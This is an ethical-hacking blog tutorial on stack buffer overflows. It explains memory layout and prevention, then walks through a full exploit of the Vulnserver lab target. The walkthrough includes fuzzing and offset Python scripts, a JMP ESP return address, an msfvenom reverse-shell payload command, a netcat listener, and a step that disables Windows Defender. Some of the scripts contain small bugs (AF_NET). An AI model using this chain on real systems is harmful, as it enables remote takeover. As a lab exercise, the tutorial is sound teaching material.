Buffer Overflow Attacks Unveiled

Man wearing Anonymous mask in a server room

A Comprehensive Guide to the Buffer Overflow Attack

This is an Ethical Hacking guide for the buffer overflow attack. This guide is for educational purposes only and should not be used for any criminal activity whatsoever. We trust you will use this information responsibly.

What’s covered in this guide:

  • What is a Buffer Overflow Attack?
  • How the Buffer Overflow Attack Works
  • Consequences of a Buffer Overflow Attack
  • How to Prevent a Buffer Overflow Attack
  • The Anatomy of Memory
  • What is a Buffer Overflow
  • How To Cause a Buffer to Overflow
  • Injecting Payloads into Memory

What is a Buffer Overflow Attack?

A buffer overflow attack is a type of security vulnerability and exploitation technique that can occur in software applications when they do not properly manage the input data they receive. This vulnerability allows an attacker to overwrite and manipulate the contents of a buffer, typically a fixed-size data storage area in the application’s memory, which can lead to unauthorized access and execution of malicious code.

How the Buffer Overflow Attack Works

Here’s a simplified explanation of how a buffer overflow attack works:

  1. Buffer: A buffer is a temporary storage location in a computer’s memory used to hold data, such as user input, function parameters, or other variables. These buffers have a fixed size.

  2. Input: When an application receives input from an external source, like user input from a keyboard or network data, it stores this input in a buffer.

  3. Overflow: If the input data is larger than the buffer’s capacity and the application does not properly check or validate the input, it can overwrite adjacent memory locations. This can cause unpredictable behavior and can potentially be exploited by an attacker.

  4. Exploitation: An attacker might craft input data specifically designed to exploit this vulnerability. By carefully constructing their input, they can overwrite the buffer’s contents with malicious code or data, which can then be executed by the application.

Consequences of a Buffer Overflow Attack

Buffer overflow attacks can have serious consequences, including:

  • Unauthorized access: Attackers may gain access to sensitive data, system resources, or user accounts.
  • Code execution: Malicious code inserted into the buffer can be executed, allowing attackers to take control of the application or the entire system.
  • Denial of Service (DoS): Overflows can lead to crashes or other issues that disrupt the availability of the application or system.

How to Prevent a Buffer Overflow Attack

To prevent buffer overflow attacks, developers should follow best practices, such as:

  1. Input validation: Always validate and sanitize input data to ensure it doesn’t exceed the buffer’s capacity and that it adheres to expected formats.

  2. Use safe programming languages: High-level languages with built-in safeguards against buffer overflows, like Java or Python, are less susceptible to such attacks.

  3. Memory protection: Implement mechanisms like address space layout randomization (ASLR) and Data Execution Prevention (DEP) to make it harder for attackers to execute arbitrary code.

  4. Buffer bounds checking: Use functions or libraries that perform bounds checking when working with buffers, such as using safe string manipulation functions like strncpy or strlcpy in C/C++.

  5. Regular security audits and code reviews: Continuously review and audit code to identify and fix potential vulnerabilities.

Required Software for this Guide:

Explaining Memory Stack Vs Heap

To understand Buffer Overflow, we need to first understand how memory works.

The Anatomy of Memory:

  • Kernel
  • Stack
  • Heap
  • Data
  • Text
The Anatomy of the Stack:

  • ESP (Extended Stack Pointer)
  • Buffer Space
  • EBP (Extended Base Pointer)
  • EIP Extended Instruction Pointer) / Return Address
What is the Stack?

The Stack is a special area of computer’s memory which stores temporary variables created by a function. In the Stack, variables are declared, stored and initialized during runtime. It is a temporary storage memory. When the computing task is complete, the memory of the variable will be automatically erased. The stack section mostly contains methods, local variable, and reference variables.

What is the Heap?

The heap is a memory used by programming languages to store global variables. By default, all global variables are stored in the Heap memory space. It supports Dynamic memory allocation. The Heap is not managed automatically for you and is not as tightly managed by the CPU. It is more like a free-floating region of memory.

What’s the differences:

  • Stack is a linear data structure whereas Heap is a hierarchical data structure.
  • Stack memory will never become fragmented whereas Heap memory can become fragmented as blocks of memory are first allocated and then freed.
  • Stack accesses local variables only while Heap allows you to access variables globally.
  • Stack variables can’t be resized whereas Heap variables can be resized.
  • Stack memory is allocated in a contiguous block whereas Heap memory is allocated in any random order.
  • Stack doesn’t require to de-allocate variables whereas in Heap de-allocation is needed.
  • Stack allocation and deallocation are done by compiler instructions whereas Heap allocation and deallocation is done by the programmer.
Parameter Stack Heap
Type of data structures Stack is a linear data structure Heap is a hierarchical data structure
Access speed High-speed access Slower compared to stack
Space management Space managed efficiently by OS so memory will never become fragmented. Heap Space not used as efficiently. Memory can become fragmented as blocks of memory first allocated and then freed
Access Local variables only It allows you to access variables globally
Limit of space size Limit on Stack size dependent on OS Does not have a specific limit on memory size
Resize Variables cannot be resized Variables can be resized
Memory Allocation Memory is allocated in a contiguous block Memory is allocated in any random order
Allocation and Deallocation Automatically done by compiler instructions It is manually done by the programmer
Deallocation Does not require to de-allocate variables Explicit de-allocation is needed
Cost Less More
Implementation Stack can be implemented in 3 ways simple array based, using dynamic memory, and Linked list based Heap can be implemented using array and trees
Main Issue Shortage of memory Memory fragmentation
Locality of reference Automatic compile time instructions Adequate
Flexibility Fixed size Resizing is possible
Access Time Faster Slower

The Process to a Buffer Overflow Attack

  • Spiking
  • Fuzzing
  • Finding the OffSet
  • Overwriting the EIP
  • Finding the Bad Characters
  • Finding the right Module
  • Generating shellcode
  • Root!
Spiking

Disable Windows defender as Vulnserver might get blocked. Run Vulnserver and Immunity Debugger as Administrator.

In Immunity Debugger:

  • Click file
  • Select attach
  • Scroll down to Vulnserver click attach
  • Look at bottom right corner where it says paused
  • Click the play button at the top

This will start the debugger to monitor Vulnserver. Get the IP of the Vulnserver Machine. Vulnserver by default uses port 9999.

Moving Over to the Kali Machine. We can use Netcat to communicate with Vulnserver software. Open Terminal and Type:

nc -nv 192.168.0.29 9999

This should give us access to the system with basic Vulnserver commands. Type HELP to get list of these commands.
When spiking we attack each command to see the results. To spike a command, we need to make a script for each command from the HELP commands. First on Vulnservers list was STATS so lets create a file called stats.spk using your text editor of choice. Add these lines to the stats.spk file:

s_readline();
s_string("STATS ");
s_string_variable("0");

Save and exit the file. Open a new terminal in kali and type:

generic_send_tcp

Now type:

generic_send_tcp 192.168.0.29 9999 stats.spk 0 0

Monitor immunity debugger for activity. Monitor the Vulnserver for activity.

Not much happened there but that was only the first command. Move down the list of Vulnserver commands spiking each command with a pre-built script same as we made for STATS but change STATS in the script to whatever command you’re spiking. Moving onto the TRUN command.

Create the TRUN spiking script in your text editor of choice and add these lines:

s_readline();
s_string("TRUN ");
s_string_variable("0");

Save as trun.spk. Back to the Open Kali generic_send_tcp Terminal and Type:

generic_send_tcp 192.168.0.29 9999 trun.spk 0 0

Hopefully the Vulnserver crashes this time. Monitor Immunity debugger for activity. Monitor the Vulnserver for activity. Check Immunity debugger for access violation. Check the registers in Immunity debugger.

Look at the EBP if we see 41414141 (hex code for 4 A’s) we have managed to reach the EBP.
Look at the EIP if we see 41414141 we have managed to reach the EIP.

Fuzzing

Now we know the TRUN command is vulnerable on Vulnserver we can start focusing our attack there.

Now you need to create a Python script for the attack.

#!/usr/bin/python
import sys, socket
from time import sleep

IP='192.168.0.29'
PORT=9999
buffer = "A" * 100

while True:
	try:
		s=socket.socket(socket.AF_NET, socket.SOCK_STREAM)
		s.connect((IP,PORT))

		s.send(('TRUN /.:/' + buffer))
		s.close()
		sleep(1)
		buffer=buffer  + "A"*100
	except:
		print("Fuzzing Crashed at %s bytes" % str(len(buffer)))
		sys.exit()

With this code we are going to flood the system with 100 A’s and see where in memory it crashes. Make sure to change mode for the script to be executable.

chmod +x

Now run your script and watch what happens in Immunity.

The OffSet

Open a New Kali Terminal and Type:

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000

-l is the length in bytes, 3000 bytes here.

Remember our attack in the fuzzing section crashed the system at 2700 bytes this is why we are making this pattern 3000 bytes.

Copy the pattern Metasploit returned us, to a new python script. If successful we should get some valuable information in the EIP. Now we create another Python script:

#!/usr/bin/python
import sys, socket


IP='192.168.0.1'
PORT=9999

offSet="paste metasploit pattern in here!!"

try:
	s=socket.socket(socket.AF_NET, socket.SOCK_STREAM)
	s.connect((IP,PORT))

	s.send(('TRUN /.:/' + offSet))
	s.close()

except:
	print("Error Connecting To server")
	sys.exit()

Run the new script. Monitor immunity debugger for activity. Monitor the Vulnserver for activity. We can see our TRUN command and offset pattern we want the EIP data. Copy the value in the EIP to a new pattern generator command.

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q PASTE EIP VALUE HERE

we should be returned the pattern offset:

pattern_offset returned 2003
Overwriting the EIP

Test Run – send a bunch of A’s and B’s using the offset.

#!/usr/bin/python
import sys, socket


IP='192.168.0.29'
PORT=9999

shellcode="A" * 2003 +"B" * 4

try:
	s=socket.socket(socket.AF_NET, socket.SOCK_STREAM)
	s.connect((IP,PORT))

	s.send(('TRUN /.:/' + shellcode))
	s.close()

except:
	print("Error Connecting To server")
	sys.exit()

Run the code, hopefully our data is now stored in the EIP.

Finding Bad Characters
#!/usr/bin/python
import sys, socket


IP='192.168.0.29'
PORT=9999

badchars = ("\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

shellcode="A" * 2003 +"B" * 4 + badchars

try:
	s=socket.socket(socket.AF_NET, socket.SOCK_STREAM)
	s.connect((IP,PORT))

	s.send(('TRUN /.:/' + shellcode))
	s.close()

except:
	print("Error Connecting To server")
	sys.exit()

We know the Null byte x00 is a bad char so you can go ahead and delete that already. We are going to run all these chars through the TRUN command at the offset location to monitor for what looks different. Run the code and watch immunity debugger. What we need now is the hex dump at ESP highlight the data and right click then select follow in dump. Bottom left you should now see all the data in the hex dump. you can make the dump font larger by right clicking the screen Goto appearance then font(all) and choose OEM fixed font.

From the top of the dump, we can see locations all in order, we need to look closely for something that isn’t in sequence with the rest. Unfortunately, there is nothing to see here because we are attacking Vulnserver and Vulnserver has no bad chars because it was built to be vulnerable and easy to attack. But in real world scenarios we would need to find the bad chars, and this is how to do it. When we do see bad chars, we write down the missing chars from sequence and the location of the bad chars which replaced the missing chars.

Finding the Right Module

Grab the mona.py script from Here https://github.com/corelan/mona Copy the mona.py file to:

C:/Program Files (x86)/Immunity  Inc/Immunity Debugger/Pycommands

Now back to immunity debugger in the white bar at the bottom type:

!mona module

What we are looking for is false protection settings attached to the Vulnserver and of course the essfunc.dll has all of them set false, this is our prime target. Open a New Kali Terminal and Type:

locate nasm_shell

copy and paste the returned ruby command into terminal. Here we are trying to convert assembly language to hex code. We want to get the jump command, enter JMP ESP. FFE4 was returned.

Now go back to immunity and in the bottom white bar type:

!mona find -s "\xff\xe4" -m essfunc.dll

Start at the top and look for the return addresses, Copy all the return addresses.

Now we need to create a new Python script:

#!/usr/bin/python
import sys, socket


IP='192.168.0.29'
PORT=9999

# address 625011af

shellcode="A" * 2003 + "\xaf\x11\x50\x62"

try:
	s=socket.socket(socket.AF_NET, socket.SOCK_STREAM)
	s.connect((IP,PORT))

	s.send(('TRUN /.:/' + shellcode))
	s.close()

except:
	print("Error Connecting To server")
	sys.exit()

Notice the hex values are reversed from the address we retrieved, this is because of x86 architecture and Little-endian formatting the smallest byte is always at the lowest address and the highest byte at the highest address. Run the code. Go back to immunity and find the blue arrow in top menu and add expression, add 625011af and press ok. We should find FFE4 which is perfect. hit F2, hopefully that turned it blue, we just created a breakpoint, click play on immunity, run the python script again, back to immunity at bottom we should see Breakpoint at essfunc.625011AF.

Generating Shellcode

Open Kali Terminal and Type:

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.29 LPORT=4444 EXITFUNC=thread -f c -a x86 -b "\x00"
  • LHOST is the listener device our kali machine
  • LPORT is the listening port we chose 4444
  • EXITFUNC to make the shell more stable
  • -f filetype we export it into c
  • -a arcitecture we select x86
  • -b badchars we enter any badchars we found in our search earlier
  • x00 already in the command

Execute the command note the payload size this could be important as we don’t want to spill out of our location we are trying to fill. copy the returned shellcode.

#!/usr/bin/python
import sys, socket


IP='192.168.0.29'
PORT=9999

overflow=(
paste generated shell code here)

shellcode="A" * 2003 +"\xaf\x11\x50\x62"+"\x90" * 32 + overflow

try:
	s=socket.socket(socket.AF_NET, socket.SOCK_STREAM)
	s.connect((IP,PORT))

	s.send(('TRUN /.:/' + shellcode))
	s.close()

except:
	print("Error Connecting To server")
	sys.exit()

x90 are nops, no operations we are using 32 of them for padding. Save the code. To start the listener, Open new terminal on kali type:

nc -nvlp 4444

Run the python script and look at the listener terminal we should have a reverse shell into the windows10 machine.

Type whoami to see your level of access.

Conclusion

The buffer overflow attack is a compelling example of how vulnerabilities in software can be exploited with serious consequences. Understanding the inner workings of this attack and its steps is essential for both developers and security professionals to build robust and secure systems.

Ultimately, the key to a more secure digital world lies in our collective commitment to proactive defense, ongoing education, and a relentless dedication to ensuring the safety of our software and systems. By doing so, we can better protect sensitive data, maintain the availability of critical services, and uphold the integrity of the digital realm in an age of ever-evolving threats.

Happy Hacking Folks!

This guide was written after following the CyberMentors course on Buffer Overflow Attacks.

Ethical Hacking Guides

We have many guides to help you on your journey into the world of Ethical Hacking. If this is something you find interesting, please take a look here today: Ethical Hacking Guides.

Recommendation:

ALFA Network Wi-Fi Adapter: https://amzn.to/3QbZ6AE

This Wi-Fi adapter is essential if you are to learn Wi-Fi Hacking.

Luke Barber

Hello, fellow tech enthusiasts! I'm Luke, a passionate learner and explorer in the vast realms of technology. Welcome to my digital space where I share the insights and adventures gained from my journey into the fascinating worlds of Arduino, Python, Linux, Ethical Hacking, and beyond. Armed with qualifications including CompTIA A+, Sec+, Cisco CCNA, Unix/Linux and Bash Shell Scripting, JavaScript Application Programming, Python Programming and Ethical Hacking, I thrive in the ever-evolving landscape of coding, computers, and networks. As a tech enthusiast, I'm on a mission to simplify the complexities of technology through my blogs, offering a glimpse into the marvels of Arduino, Python, Linux, and Ethical Hacking techniques. Whether you're a fellow coder or a curious mind, I invite you to join me on this journey of continuous learning and discovery.

Leave a Reply

Your email address will not be published. Required fields are marked *

Verified by MonsterInsights